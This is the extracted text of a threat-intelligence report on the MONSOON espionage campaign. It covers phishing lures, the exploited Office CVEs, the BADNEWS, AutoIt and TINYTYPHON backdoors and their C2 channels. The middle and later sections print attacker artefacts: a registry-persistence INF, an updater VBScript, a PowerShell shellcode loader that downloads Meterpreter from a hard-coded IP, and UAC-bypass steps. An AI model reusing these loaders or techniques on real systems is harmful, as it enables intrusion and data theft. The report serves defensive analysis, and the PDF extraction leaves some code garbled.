Infrastructure.
Non-traditional resilient and obscure CC.
Including GitHub, forums, news items and RSS feeds.
Capability.
BADNEWS and TINYTYPHON malware.
Re-use of tool sets including: Metasploit, AutoIt Backdoor, MyDoom, Shellcode loading via Powershell, Unknown Logger.
PATCHWORK [4].
CVE Exploitation.
Current News Lures  Lures via email with tracking images.
Over 172 lure documents, most referencing topical news items, relevant to the victims of interest.
Most common lure document: 2016_China_Military_PowerReport.
Victims.
Over 110 different victim countries and 6,300 victim IP addresses.
Victims of Interest.
Government Agencies, Armed Forces, Embassies: Sri Lanka, Ceylon, South Korean, Victim of Opportunity.
Those with passing interest in Chinese military strategy being snared by the lure web site.
Majority in China (61 of all victims) Timeframe.
Between December 2015 to July 2016 Customer provided target list?
Thematic and regional recon?
themselves?
Stage 1 - Recon Targeted email Google Facebook Twitter chinastrat[.com] Stage 2 - Lure N/A Stage 3 - Redirect Weaponized documents Silverlight exploit UAC bypass Stage 4 - Exploitation BADNEWS TINYTYPHON AutoIt Backdoor Unknown Logger Metasploit Metepreter Stage 5 - Dropper RSS GitHub Forums News Articles Dynamic DNS hosts Stage 6 - Call Home Sensitive Documents Stage 7 - Data Loss Forcepoint Security Labs    Special Investigations MONSOON  ANALYSIS OF AN APT CAMPAIGN Revision: 1.07    TLP-WHITE    6/57 TECHNICAL ANALYSIS INITIAL DISCOVERY Pivoting via VirusTotal.
Virus Total2 (VT) Intelligence queries are often constructed in order to hunt for new, unusual and interesting malware as part of the routine work performed by the Special Investigations team.
The initial discovery of MONSOON stemmed from one of these queries.
During such activities, an RTF document was identified that warranted further investigation.
Cyber Crime Bill.
A specific document was singled-out for analysis via VT for number of reasons.
These included: a low detection rate, a low number of submissions, an interesting set of default languages including US English, Saudi Arabic and PRC Chinese, that it exploited a known vulnerability (CVE-2015-1641 [5]) and that it had filenames with political themes including Microsoft Word - Telecommunications Policy - APPROVED.DOCX and Cyber_Crime_bill.doc3: This document was opened in a virtualised lab environment and was seen to drop malware.
By analysing this malware is was possible to determine that it was not of a known or documented malware family.
It contained interesting functionality that warranted further investigation (see below).
This malware was named by Special Investigations as BADNEWS after its ability to use news sites and blogs to obtain its CC address.
Pivoting by Author.
By exploiting the document information found in the original malicious RTF, the name of the user who last modified the document was identified: 2 https://www.virustotal.com/ 3 https://www.virustotal.com/en/file/34cdfc67942060ba30c1b9ac1db9bd042f0f8e487b805b8a3e1935b4d2508db6/analy sis/ PRELIMINARY  (1) This Act may be called the Prevention of Electronic Crimes Act, 2015.
(
2) It extends to the whole of Pakistan.
(
3) It shall apply to every citizen of Pakistan wherever he may be, and also to every other person for the time being in Pakistan.
(
4) It shall come into force at once.
Figure 2  Cyber_Crime_Bill.doc (Excerpt) Forcepoint Security Labs    Special Investigations MONSOON  ANALYSIS OF AN APT CAMPAIGN Revision: 1.07    TLP-WHITE    7/57 Using another VT search, the following 6 documents matching this author information were found: Figure 4  Search VT by Author Metadata The low number of results, similar file sizes and the same CVE exploitation gave a high level of certainty that these documents belong to the same actor.
File Size               : 1407 kB File Type               : RTF File Type Extension     : rtf MIME Type               : text/rtf Title                   : Microsoft Word - Telecommunications Policy - APPROVED.DOCX Author                  : mhjaved Last Modified By        : ayyo Create Date             : 2016:04:20 12:58:00 Modify Date             : 2016:04:20 12:58:00 Revision Number         : 2 Total Edit Time         : 0 Pages                   : 12 Words                   : 7076 Characters              : 40335 Company                 : Microsoft Characters With Spaces  : 47317 Internal Version Number : 32859 Figure 3  EXIF info for Cyber_Crime_Bill.docx Forcepoint Security Labs    Special Investigations MONSOON  ANALYSIS OF AN APT CAMPAIGN Revision: 1.07    TLP-WHITE    8/57 The VT reports showed known names of some of these samples.
One of the samples used genuine content from the National Institute for Defence Studies Japan document NIDS China Security Report 20164.
The specific filename used for this sample was china_report_EN_web_2016_A01.doc.
Using Google to search for this specific filename returned three hits.
Two of the results were for VT and another for a report on URLQuery.net.
One of the VT results showed that the file was provided from a web server located on a host on IP address 37.58.60.195 and that it had also provided a number of other, similar files5.
The other VT results referred to the analysis of the malicious file6.
DATE TIME URL 2016-05-31 18:51:31 hxxp://www.cnmilit.com/index.php?fChina_Security_Report_CN2016.pps 2016-05-10 00:56:37 hxxp://cnmilit.com/index.php/?fChina_Security_Report_2016.pps 2016-04-20 10:31:31 hxxp://www.cnmilit.com/index.php?fThe_PLA_s_New_Organizational_Structure_Parts_1_and_2 _01.doc 2016-04-17 18:02:41 hxxp://www.cnmilit.com/index.php?fChina_Security_Report_2016.pps Figure 6  Lures from 37.58.60.195 4 http://www.nids.go.jp/english/publication/chinareport/ 5 https://www.virustotal.com/en/ip-address/37.58.60.195/information/ 6 https://www.virustotal.com/en/file/ebd4f62bb85f6de1111cbd613d2d4288728732edda9eb427fe9f51bd1f2d6db2/analys is/ Figure 5  Lure Document Cover Forcepoint Security Labs    Special Investigations MONSOON  ANALYSIS OF AN APT CAMPAIGN Revision: 1.07    TLP-WHITE    9/57 Distribution Mechanism.
The final Google search result was a report generated by the URLQuery.net site: Figure 7  URLQuery.net The site t.ymlp50[.com] is a legitimate web and e-mail marketing service.
It is owned and operated by the Belgian company Your Mailing List Provider (YMLP).
Further Google searches of other document names revealed similar redirection chains using the same service.
Consequently, it is reasonable to conclude that a number of weaponised documents were delivered using YMLP.
Forcepoint Security Labs    Special Investigations MONSOON  ANALYSIS OF AN APT CAMPAIGN Revision: 1.07    TLP-WHITE    10/57 E-MAIL LURES  MALWARE DISTRIBUTION Email Lures.
Using the information from the initial discoveries and correlating against the known bad data collected by Forcepoints Triton AP-Email it was possible to track down at least some of the targeted e-mail lures used by the HANGOVER group in the MONSOON campaign.
The e-mail themes are typically current political events that may be of interest to the target recipient.
It was possible to identify several Chinese politically themed e-mails linking to weaponised documents.
A redacted example e-mail can be seen below.
Figure 8  Known Bad Email Lure Forcepoint Security Labs    Special Investigations MONSOON  ANALYSIS OF AN APT CAMPAIGN Revision: 1.07    TLP-WHITE    11/57 Using YMLP, the threat actor is faking the sender using this service and embedding a link to a weaponised document in the e-mail body.
Examples of a number of email details and embedded URLs can be seen in the table below.
UTC Time Subject Sender Embedded URL to Malicious Document 6/29/2016 7:12 The Chinese Statecraft, The China Syndrome and its new legalism mailreturnsmtp5.ymlpsrvr.net hxxp://www.newsnstat[.com]/index.php?fReport_Asia_Program _New_Geopolitics.pps 6/28/2016 4:13 China Plans a Breakaway Faction of the NSG mailreturnsmtp6.ymlpsrvr.net hxxp://www.newsnstat[.com]/index.php?fReport_Asia_Program _New_Geopolitics.pps 6/27/2016 5:08 Stretching and Exploiting Thresholds for High Order War mailreturnsmtp1.ymlpsrvr.net hxxp://www.newsnstat[.com]/index.php?fChina_plan_to_domin ate_South_China_Sea_and_beyond.doc 6/24/2016 4:52 2016 mailreturnsmtp3.ymlpsrvr.net hxxp://www.newsnstat[.com]/index.php?fCEF_Chengdu_July_2 016.pps 5/20/2016 8:56 Limits of Law in the South China Sea mailreturnsmtp6.ymlpsrvr.net hxxp://www.newsnstat[.com]/index.php?fLimits_of_Law_in_the_ South_China_Sea.pps 5/9/2016 5:16 China International Defence Electronics Exhibition (CIDEX) 2016 mailreturnsmtp5.ymlpsrvr.net hxxp://www.newsnstat[.com]/index.php?fCIDEX2016.pps 4/12/2016 4:56 2016 mailreturnsmtp2.ymlpsrvr.net hxxp://www.cnmilit[.com]/index.php?fChina_Security_Report_C N2016.pps Figure 9  YMLP Lures Forcepoint Security Labs    Special Investigations MONSOON  ANALYSIS OF AN APT CAMPAIGN Revision: 1.07    TLP-WHITE    12/57 TOPICAL NEWS LURES News Site.
The attackers are also operating a fake political news site at chinastrat[.com].
The downloads section of this website contains similarly weaponised documents to the ones sent by e- mail and these documents drop the same malware families.
It is reasonable to suggest that the login credentials from anybody who registers on the site are also harvested.
Figure 10  China Strat Screen Shot Forcepoint Security Labs    Special Investigations MONSOON  ANALYSIS OF AN APT CAMPAIGN Revision: 1.07    TLP-WHITE    13/57 Google Plus.
The actors have been operating a Google Plus account since December 2014.
This account is used to post links to the actors fake news site.
Figure 11  Lure Google Screen Shot Forcepoint Security Labs    Special Investigations MONSOON  ANALYSIS OF AN APT CAMPAIGN Revision: 1.07    TLP-WHITE    14/57 Facebook.
The actors operate a Facebook account.
This account is also used to post links to the actors fake news site.
Figure 12  Lure Facebook Screen Shot Forcepoint Security Labs    Special Investigations MONSOON  ANALYSIS OF AN APT CAMPAIGN Revision: 1.07    TLP-WHITE    15/57 Twitter Account.
The actors have operated a Twitter account since December 2014 and use this in a similar manner to their Google and Facebook account.
Figure 13  Lure Twitter Screen Shot Forcepoint Security Labs    Special Investigations MONSOON  ANALYSIS OF AN APT CAMPAIGN Revision: 1.07    TLP-WHITE    16/57 MALWARE ANALYSIS WEAPONISED DOCUMENTS Exploitation of Known Vulnerabilities.
Several document types and document exploits have been used in the MONSOON campaign to deliver various malware components.
It is reasonable to suggest that the actors are using a malicious document builder to quickly weaponise legitimate documents.
The following vulnerabilities have been identified within the attackers documents: Vulnerability Description CVE-2012-0158 Microsoft BizTalk Server Windows Common Controls (MSCOMCTL.OCX) Bug Lets Remote Users Execute Arbitrary Code CVE-2014-6352 Microsoft Windows CVE-2014-6352 OLE Package Manager Remote Code Execution Vulnerability CVE-2015-1641 Microsoft Office Memory Errors Let Remote Users Execute Arbitrary Code and Input Validation Flaw Permits Cross-Site Scripting Attacks Figure 14  Exploited CVEs Forcepoint Security Labs    Special Investigations MONSOON  ANALYSIS OF AN APT CAMPAIGN Revision: 1.07    TLP-WHITE    17/57 BADNEWS Weaponised Documents.
The BADNEWS malware is typically packaged into a malicious document via an encrypted binary blob within that document.
This binary blob often contains a legitimate decoy document that is shown to the user.
On other occasions the decoy document is downloaded directly.
CVE-2015-1641 has been observed as being exploited to drop BADNEWS.
When the document exploit is triggered, the shellcode will drop the binary blob into the users temp folder along with an encoded VBScript: Figure 15  Binary Blob Dropped to temp The encoded VBScript uses a file extension which is not associated, by default, as being a VBScript file.
The extensions .domx and .lgx have been observed.
The shellcode is responsible for adding a new file association for the file extension which specifies that they should be interpreted as an encoded VBScript.
Finally, the shellcode executes the encoded VBScript file which will extract the encrypted files from the binary blob, show the decoy document (if there is one), and execute the malware.
The VBScript hard-coded sizes of the files to extract from the binary blob: Figure 16  VB Extract of Blob Forcepoint Security Labs    Special Investigations MONSOON  ANALYSIS OF AN APT CAMPAIGN Revision: 1.07    TLP-WHITE    18/57 The decryption routine uses the encryption key ludos7 to decrypt 32-byte chunks of the embedded files: Figure 17  VB Decryption of Embedded Files Our analysis of BADNEWS can be found later in this document [Page: 22] 7 http://starwars.wikia.com/wiki/Ludos Forcepoint Security Labs    Special Investigations MONSOON  ANALYSIS OF AN APT CAMPAIGN Revision: 1.07    TLP-WHITE    19/57 AutoIt Backdoor  Unknown Logger Weaponised Documents.
The majority of weaponised documents drop an AutoIt backdoor.
Documents exploiting CVE-2014-6352 have been observed installing the malware via the following INF: [Version] Signature  CHICAGO class61883 ClasGuid2E87RBCD-7488-12T1-QYXX-74521ACV1AS4 DriverVer0/21/2006,61.7600.16385 [DestinationDirs] DefaultDestDir  1 [DefaultInstall] AddReg  RxStart [RxStart] HKLM,Software\Microsoft\Windows\CurrentVersion\RunOnce,Install,,1\sysvolinfo.exe The malware executable name varies.
The following are some of the names we have observed: sysvolinfo.exe svchost.exe rar.exe 360configuration_patch_update_2016v4.exe The AutoIt script is always roughly the same, but some versions contain less functionality.
A full analysis of the AutoIt backdoor can be found later in this document [Page: 30].
Malware known as Unknown Logger has also been dropped by the same sort of weaponised document.
A full analysis of Unknown Logger can also be found later in this document [Page: 37].
TINYTYPHON Weaponised Documents.
A third malware used in MONSOON is a small backdoor based on publicly available code from the MyDoom [6] worm.
This malware will crawl mapped drives for documents and upload them to its CC.
We have seen this dropped by an RTF exploiting CVE-2012-0158 under the name DPP_INDIA_2016.doc8.
The document contains shellcode which drops a file under temp\svchost.exe and then attempts to disable Words recovery features via the following commands: cmd.exe /c reg delete HKCU\Software\Microsoft\Office\14.0\Word\Resiliency /F cmd.exe /c reg delete HKCU\Software\Microsoft\Office\12.0\Word\Resiliency /F The svchost.exe9 dropped by the document executes an embedded, base64 encoded malware component that we have named TINYTYPHON.
Our analysis of this malware can be found later in this document [Page: 41].
8 http://starwars.wikia.com/wiki/Ludos 9 SHA1: 411387df2145039fc601bf38192b721388cc5141 Forcepoint Security Labs    Special Investigations MONSOON  ANALYSIS OF AN APT CAMPAIGN Revision: 1.07    TLP-WHITE    20/57 POTENTIAL SILVERLIGHT EXPLOIT The weaponised document sites such as cnmilit[.com] and newsnstat[.com] will attempt to redirect the user to lite.php after 10 seconds: Figure 18  PHP Redirect It was not possible to access cnmilit[.com] as of May 27, 2016.
It was therefore not possible to analyse the pages served.
However, it was possible to browse to lite.php on newsnstat[.com].
The content of this page always remained the same over the duration of the investigation.
Forcepoint Security Labs    Special Investigations MONSOON  ANALYSIS OF AN APT CAMPAIGN Revision: 1.07    TLP-WHITE    21/57 Silverlight Profiling.
The code profiles whether a system has Microsoft Silverlight installed.
The site then requests lite.php?name where the value of name is true or false depending on whether Silverlight is installed and accessible or not.
No further content was served from lite.php during the investigation.
A likely scenario is that the attackers may have wanted to use a Silverlight exploit to execute the malware in the case of a user who does not open or get successfully exploited by the weaponised document.
This could have been intended as an exploitation of something like CVE-2016-0034 which is known to have been adopted by exploit kits back in February 2016 and which pre-dates MONSOON.
HTTP/1.1 200 OK Date: Fri, 27 May 2016 22:32:29 GMT Server: Apache X-Powered-By: PHP/5.5.12 Content-Length: 749 Keep-Alive: timeout5, max100 Connection: Keep-Alive Content-Type: text/html scriptfunction hasSilverlightPlugin() var slplugin  false var browser  navigator.appName // Get the browser type if (browser  Microsoft Internet Explorer) try var slControl  new ActiveXObject(AgControl.
AgControl) if (slControl) slplugin  true  catch (e)  else // Netscape, FireFox, Google chrome etc try if (navigator.plugins[Silverlight Plug-In]) slplugin  true  catch (e)  return slplugin  var javascriptVariable  hasSilverlightPlugin() window.location.href  lite.php?namejavascriptVariable /script Figure 19  Silverlight Profiling Forcepoint Security Labs    Special Investigations MONSOON  ANALYSIS OF AN APT CAMPAIGN Revision: 1.07    TLP-WHITE    22/57 BADNEWS MALWARE The BADNEWS malware is capable of arbitrary command execution, screenshots, self-updating, downloading and executing files, and directory listings.
The name was given due to its use of RSS feeds, forums, blogs and Dynamic DNS providers for its CC infrastructure.
BADNEWS uses a DLL side-loading technique with a signed Java binary in order to evade security solutions.
It is a first stage malware that is likely to receive second stage malware components if the target is of interest, although we did not observe this behaviour.
DLL Side-Loading.
The BADNEWS DLL is typically side-loaded into a legitimate signed Java executable.
A specific weaponised document analysed10 drops a binary blob and an encoded VBScript file which then extracts a decoy document along with the following 3 files: MicroScMgmt.exe msvcr71.dll jli.dll MicroScMgmt.exe is a renamed version of the legitimate Java Runtimes 6.0.390.4 binary named java- rmi.exe and is signed by Sun Microsystems.
This application requires the legitimate msvcr71.dll and also requires a DLL named jli.dll.
However, the jli.dll here contains the BADNEWS malware.
When MicroScMgmt.exe is executed, it will load up the malicious jli.dll and ultimately call the JLI_WildcardExpandClasspath_0 export in the DLL.
At this point the BADNEWS code will take over and begin performing its malicious routines.
This technique is a stealth tactic to evade anti-malware solutions which are notoriously weak at detecting side-loaded malware.
The malware will spawn 2 threads, one to perform key-logging and one to crawl the local hard-drives for document files.
Persistence.
BADNEWS installs a registry key under HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run in order to remain persistent on the system.
Figure 20  Windows Registry Keys 10 SHA1: 11064dcef86ac1d94c170b24215854efb8aad542 Forcepoint Security Labs    Special Investigations MONSOON  ANALYSIS OF AN APT CAMPAIGN Revision: 1.07    TLP-WHITE    23/57 CC Channels.
BADNEWS is typically built with several hard-coded channels which it can use to obtain commands or change its CC.
These CC channels include RSS feeds, Github, forums, blogs and Dynamic DNS hosts.
In the sample analysed, the malware had several hard-coded CC channels although some were corrupted and did not work correctly: hxxp://feeds.rapidfeeds.com/81913/ hxxps://raw.githubusercontent.com/azeemkhan89/cartoon/master/cart.xml hxxp://www.webrss.com/createfeed.phpfeedid47448 hxxp://www.webrss.com/createfeed.phpfeedid47449 hxxp://www.chinasmack.com/2016/digest/chinese-tourist-bit-by-snake-in-thailand.html hxxp://www.travelhoneymoon.wordpress.com/2016/03/30/tips-to-how-to-feel-happy hxxp://overthemontains.weebly.com/trekking-lovers hxxp://tariqj.crabdance.com/tesla/ghsnls.php hxxp://javedtar.chickenkiller.com/tesla/ghsnls.php hxxp://asatar.ignorelist.com/tesla/ghsnls.php The first 7 CCs are referred to by the malware as either a blog or a feed.
These channels are only used to tell the malware where its real CC is.
The last 3 Dynamic DNS channels are back-up CCs in case it is not able to obtain a CC address from one of the blogs or feeds.
The Dynamic DNS back-up CCs typically use the same ghsnls.php filename but the directory name changes for different builds of the malware.
The directory may indicate a campaign identifier or a code- word for the target victim of the malware.
We have seen the following directories used: tesla Tussmal Mussmal quantum yumhong Forcepoint Security Labs    Special Investigations MONSOON  ANALYSIS OF AN APT CAMPAIGN Revision: 1.07    TLP-WHITE    24/57 When a CC is obtained from a blog or feed, it is extracted from the page by searching for  in the content.
A GitHub example11 is below: Figure 21  GitHub Command Channel Another example taken from a comment by a user called Zubaid12 posted on chinasmack[.com]: Figure 22  Chinasmack[.com]  Command Channel 11 https://github.com/azeemkhan89/ 12 https://en.wikipedia.org/wiki/Zubaid Forcepoint Security Labs    Special Investigations MONSOON  ANALYSIS OF AN APT CAMPAIGN Revision: 1.07    TLP-WHITE    25/57 And a final example taken from forum.china.org.cn: Figure 23  Forum Command Channel The content after  is the CC address which is encrypted in the same manner as described below.
Of note is that this text on the forum page is invisible, as the author has set it to white text on a white background.
Forcepoint Security Labs    Special Investigations MONSOON  ANALYSIS OF AN APT CAMPAIGN Revision: 1.07    TLP-WHITE    26/57 CC Mechanism.
Once BADNEWS has decided which CC address to communicate with it will send off some system information and await a command to execute.
A unique identifier is computed for the victim which is based on the tick count from the victim machine when the malware was executed.
This ID is saved in the file temp\T89.dat.
POST http://85.25.79.230/tesla/ghsnls.php HTTP/1.1 Accept: application/x-www-form-urlencoded Content-Type: application/x-www-form-urlencoded User-Agent: UserAgent:Mozilla/5.0(Windows NT 6.1WOW64)AppleWebKit/537.1(KHTML,like Gecko)Chrome/21.0.1180.75Safari/537.1 Host: 85.25.79.230 Content-Length: 249 Cache-Control: no-cache esmqssredactedbtcbumegyredactedpxckhjredactedxyvqqredacted Forcepoint Security Labs    Special Investigations MONSOON  ANALYSIS OF AN APT CAMPAIGN Revision: 1.07    TLP-WHITE    27/57 The encryption mechanism used for all CC data is done by taking each byte and performing a ROR by 3 bits and then an XOR by 0x23.
The result of this is then converted into a hexadecimal representation of the bytes, and finally encoded into base64.
Below is a Python script written to decrypt the data: badnews_decoder.py import sys, getopt import base64 Rotate left: 0b1001 -- 0b0011 rol  lambda val, r_bits, max_bits: \ (val  r_bitsmax_bits)  (2max_bits-1)  \ ((val  (2max_bits-1))  (max_bits-(r_bitsmax_bits))) Rotate right: 0b1001 -- 0b1100 ror  lambda val, r_bits, max_bits: \ ((val  (2max_bits-1))  r_bitsmax_bits)  \ (val  (max_bits-(r_bitsmax_bits))  (2max_bits-1)) if len(sys.argv)  2: exit(Usage: badnews_decoder.py string) data  sys.argv[1] Print original data input print [1] Original:      data data  base64.b64decode(data) Print the base64 decoded hex byte string print [2] Base64 dec:    data Decode the hex bytes into to binary data data  data.decode(hex) decdata XOR each byte by 0x23 and rotate left by 3 bits for x in range(len(data)): c  ord(data[x]) c  0x23 c  rol(c, 3, 8) decdata  chr(c) Null terminate decdata  \x00 Print the final decrypted data print [3] Decrypted:     decdata An example of the input and output for this script: badnews_decoder.py MmVhZGFkMmQ2NGM2YzY4NWU2NjU4NWE1ZTYwNDI0ZTZlNTI0YzY4ZWFkNmMyZGVlNGZjZGM2Y2YwZmFkOGZlNjJkMmUyZDIz [1] Original: MmVhZGFkMmQ2NGM2YzY4NWU2NjU4NWE1ZTYwNDI0ZTZlNTI0YzY4ZWFkNmMyZGVlNGZjZGM2Y2YwZmFkOGZlNjJkMmUyZDIz [2] Base64 dec:  2eadad2d64c6c685e66585a5e60424e6e524c68ead6c2dee4fcdc6cf0fad8fe62d2e2d23 [3] Decrypted:   http://5.254.98.68/mtzpncw/gate.php Forcepoint Security Labs    Special Investigations MONSOON  ANALYSIS OF AN APT CAMPAIGN Revision: 1.07    TLP-WHITE    28/57 Command Set.
After BADNEWS sends off the system information of the machine it will receive back a command.
Most commands are in the format of cmd:encryped-parameter where cmd is a plaintext command tag and encrypted-parameter is a parameter for the command encrypted with the algorithm previously described.
Listed below are supported command tags and their descriptions: CMD Description shell Download an EXE and inject it into a new process using process hollowing link Download an EXE and execute it via CreateProcess API mod Download a DLL from the URL specified and load it into the current process upd Download a new version of the malware and delete the old one via VBScript (see below) dwd Create an empty file in the temp folder and send to CC - possibly used for identifying the local system time kl Send keylog file to CC (keylogging is always on) snp Take a screenshot and send it to the CC ustr Exfiltrate documents found on the machine - the malware asynchronously crawls local hard- drives for documents (pdf, doc etc.)
sdwl Upload specified file from victim machine utop Disable document exfiltration hcmd Execute command via cmd.exe and send the output to CC Use new CC server address specified between  and  in the content (i.e.
MmVhZGFkMmQ2NGM2YzZjZGNkY2RlNjZmYWUwZjJlZTY0ZmNlOGVjNjZmYWUwZ jJlZTY4ZjJjOGYyMw) ok Do nothing Figure 24  BADNEWS Command Set The malware will send back an acknowledgment response for most of these commands along with any additional data from the command that has been executed.
Forcepoint Security Labs    Special Investigations MONSOON  ANALYSIS OF AN APT CAMPAIGN Revision: 1.07    TLP-WHITE    29/57 Keylogger.
When BADNEWS first starts it will spawn a new thread to log keystrokes to a file.
The header of the file contains the marker KLTNM: and the system language.
The rest of the file contains information about the active window and the keys pressed: KLTNM:    00000409 2016/06/01 09:42:18 - Window Name [SHIFT]c[SHIFT] The malware will only send the keylog file to the CC when instructed to by the kl command.
Document Crawler.
When BADNEWS first starts it will spawn a new thread to check all local  mapped drives for document files with the following extensions: doc docx pdf ppt pptx txt Any documents under 15MB will be copied to the users temp\SMB\ folder.
The malware will only send these documents to the CC when instructed to by the ustr command.
Window Message Processor.
BADNEWS will also check for any new hard-drives that are added to the machine such as USB devices.
It does this in an interesting way by creating a window and listening for the WM_DEVICECHANGE window message: LRESULT CALLBACK WndProc(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)  // Window message 23 is defined by the malware as a code to disable the document crawler if ( Msg  WM_QUERYENDSESSION )  if ( Msg  WM_ENDSESSION ) return 23 // Has a new device been added to the machine?
If so, try to find documents if ( Msg  WM_DEVICECHANGE ) CrawlDrivesForDocuments()  else  switch ( Msg )  case WM_QUERYENDSESSION: return 23 case WM_CREATE: return 0 case WM_DESTROY: return 23   return DefWindowProcW(hWnd, Msg, wParam, lParam)  Figure 25 - Device Change Listener Forcepoint Security Labs    Special Investigations MONSOON  ANALYSIS OF AN APT CAMPAIGN Revision: 1.07    TLP-WHITE    30/57 Updater VBScript.
The upd command downloads a new version of the malware to temp\up.exe and then updates the malware (jli.dll) via the following VBScript: AUTOIT BACKDOOR The majority of the weaponised documents used in MONSOON are PPS files which exploit CVE-2014- 6352 and drop an AutoIt binary.
The AutoIt script contained within the binary contains a host of features including: Sending off system information Executing arbitrary commands Updating itself Escalating privileges (bypassing UAC [7]) Exfiltrating documents found on the system Executing secondary PowerShell-based malware Executing second stage custom malware Stealing Chrome passwords Identifying whether 360 Total Security anti-virus is running Set oShell  CreateObject (WScript.
Shell) Dim strArgs,dest,file ,demofile,filesys,appdata,wshSystemEnv destMicroScMgmt.exe dest1jli.dll WScript.sleep 8000 strArgs  cmd /c move /Y temp\up.exe appdata\Microsoft\dest1 oShell.
Run strArgs, 0, true Set filesys  CreateObject (Scripting.
FileSystemObject) wshSystemEnv  oShell.
ExpandEnvironmentStrings( APPDATA ) appdata  wshSystemEnv  \ss.vbs set demofile  filesys.
GetFile(appdata) demofile.
Delete strArgs cmd /c  wshSystemEnv \Microsoft\dest oShell.
Run strArgs, 0, false Figure 26  Updater VBScript Forcepoint Security Labs    Special Investigations MONSOON  ANALYSIS OF AN APT CAMPAIGN Revision: 1.07    TLP-WHITE    31/57 Decompiled AutoIt Script.
A fully decompiled version of this AutoIt backdoor was generated by the Special Investigations Team in Forcepoint Security Labs.
Document Exfiltration.
The AutoIt backdoor is capable of finding and uploading documents with the following extensions: .doc.pdf.csv.ppt.docx.pst.xls.xlsx.pptx.jpeg These will then be uploaded to /update-request.php on the CC.
Figure 27  Upload via PHP Script Privilege Escalation.
The backdoor will attempt to escalate privileges by bypassing Windows User Account Control (UAC) using one of two well-known techniques13: If the users operating system is 64-bit then the malware will use the Windows Update Standalone Installer (WUSA) to copy its DLL into a protected folder (C:\Windows\System32\oobe) with the name wdscore.dll.
It will then execute oobe.exe which will side-load the malicious wdscore.dll instead of the one from the system directory.
If the user is on a 32-bit system then the malware will use the CallWindowProcW API to jump into some shellcode that will inject the UAC bypass executable into Svchost.exe.
Firstly, the legitimate Windows Computer Management.lnk file is overwritten with a new version using Leo Davidsons IFileOperation14 code.
This links to the original malware executable.
Secondly, the malware will execute CompMgmtLauncher.exe which in turn will execute the copied shortcut as an elevated process.
13 https://www.pretentiousname.com/misc/win7_uac_whitelist2.html 14 https://msdn.microsoft.com/en-us/library/bb775771(VS.85).aspx Forcepoint Security Labs    Special Investigations MONSOON  ANALYSIS OF AN APT CAMPAIGN Revision: 1.07    TLP-WHITE    32/57 PowerShell Second Stage  Metasploit Meterpreter.
The AutoIt backdoor will send heartbeats to its CC at /dropper.php and receive back commands.
During our analysis, we saw that the CC 212[.]129[.]13[.
]110 was serving a base64 encoded response to the heartbeat requests: Figure 28  Base64 Response This response contains the command ID and the parameter.
In this case the command ID is 2 which tells the AutoIt backdoor to execute the base64 encoded blob under PowerShell.
Forcepoint Security Labs    Special Investigations MONSOON  ANALYSIS OF AN APT CAMPAIGN Revision: 1.07    TLP-WHITE    33/57 The PowerShell script eventually decodes to a typical shellcode loader, which has been cleaned up and beautified: The shellcode will dynamically resolve APIs and attempt to download a malware component from hxxps://45[.]43[.]192[.
]172:8443/OxGN.
c [DllImport(kernel32.dll)] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect) [DllImport(kernel32.dll)] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId) [DllImport(msvcrt.dll)] public static extern IntPtr memset(IntPtr dest, uint src, uint count) w  Add-Type -memberDefinition c -Name Win32 -namespace Win32Functions -passthru [Byte[]] sc 0xfc,0xe8,0x86,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0 x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31...snip... size  0x1000 if (sc.
Length -gt 0x1000) size  sc.
Length  xw::VirtualAlloc(0,0x1000,size,0x40) for (i0i -le (sc.
Length-1)i) w::memset([IntPtr](x.
ToInt32()i), sc[i], 1)  w::CreateThread(0,0,x,0,0,0) for () Start-sleep 60  Figure 29  Beautified Powershell Forcepoint Security Labs    Special Investigations MONSOON  ANALYSIS OF AN APT CAMPAIGN Revision: 1.07    TLP-WHITE    34/57 Figure 30  Hard Coded IP Address Forcepoint Security Labs    Special Investigations MONSOON  ANALYSIS OF AN APT CAMPAIGN Revision: 1.07    TLP-WHITE    35/57 The payload received from this was yet more shellcode and what appeared to be encrypted binary data.
This secondary shellcode changed each time requested it from the CC because it was being dynamically built with a different encryption (XOR) key: Figure 31  Encrypted Shellcode Forcepoint Security Labs    Special Investigations MONSOON  ANALYSIS OF AN APT CAMPAIGN Revision: 1.07    TLP-WHITE    36/57 Once decrypted, the data appears to be a PE file but contains code within the header.
Figure 32  Decrypted PE File It finally calls code to manually load and relocate the decrypted executable into a new region of memory, and then jump into the original entry point.
It turned out that the decrypted executable here was actually Metasploits Meterpreter, which spawned a reverse TCP shell back to the CC at hxxps://45[.]43[.]192[.
]172:8443.
During our analysis the following commands from the Meterpreter server were received: stdapi_sys_config_getuid stdapi_sys_config_sysinfo stdapi_net_config_get_interfaces stdapi_net_config_get_routes Forcepoint Security Labs    Special Investigations MONSOON  ANALYSIS OF AN APT CAMPAIGN Revision: 1.07    TLP-WHITE    37/57 No further commands were receive any after this.
UNKNOWN LOGGER PUBLIC V 1.5 Unknown Logger is another malware component used in MONSOON.
It is a publicly released, free backdoor.
It is capable of credential theft from browsers, keylogging, taking screenshots, spreading itself laterally, and downloading second stage malware.
In 2012, a user named The Unknown publicly released a free version of a credential stealing worm on hackforums[.net] called Unknown Logger Public.
The actors have been using version 1.5 of this malware in some of their weaponised documents.
It is likely that they simply downloaded and built their own version from the publicly available version 1.5 on Hackforums.
Unknown Logger is dropped by at least two15 of the weaponised documents analysed.
Both of these documents exploit CVE-2014-6352.
15 SHA1: 824013c9d8b2aab1396c4a50579f8bd4bf80abdb SHA1: e27d3cfc9141f618c5a8c075e7d18af11a012710 Figure 33  Unknown Logger Server Configuration Panel Forcepoint Security Labs    Special Investigations MONSOON  ANALYSIS OF AN APT CAMPAIGN Revision: 1.07    TLP-WHITE    38/57 Figure 34  Unknown Logger  Settings Panel Forcepoint Security Labs    Special Investigations MONSOON  ANALYSIS OF AN APT CAMPAIGN Revision: 1.07    TLP-WHITE    39/57 Unknown Loggers main purpose is to record keystrokes and steal usernames and passwords saved by browsers on the local machine.
This information is then sent to a pre-defined FTP or SMTP server with a username and password specified by the actor when building the malware.
It can also spread itself into RAR files, USB devices and network shares.
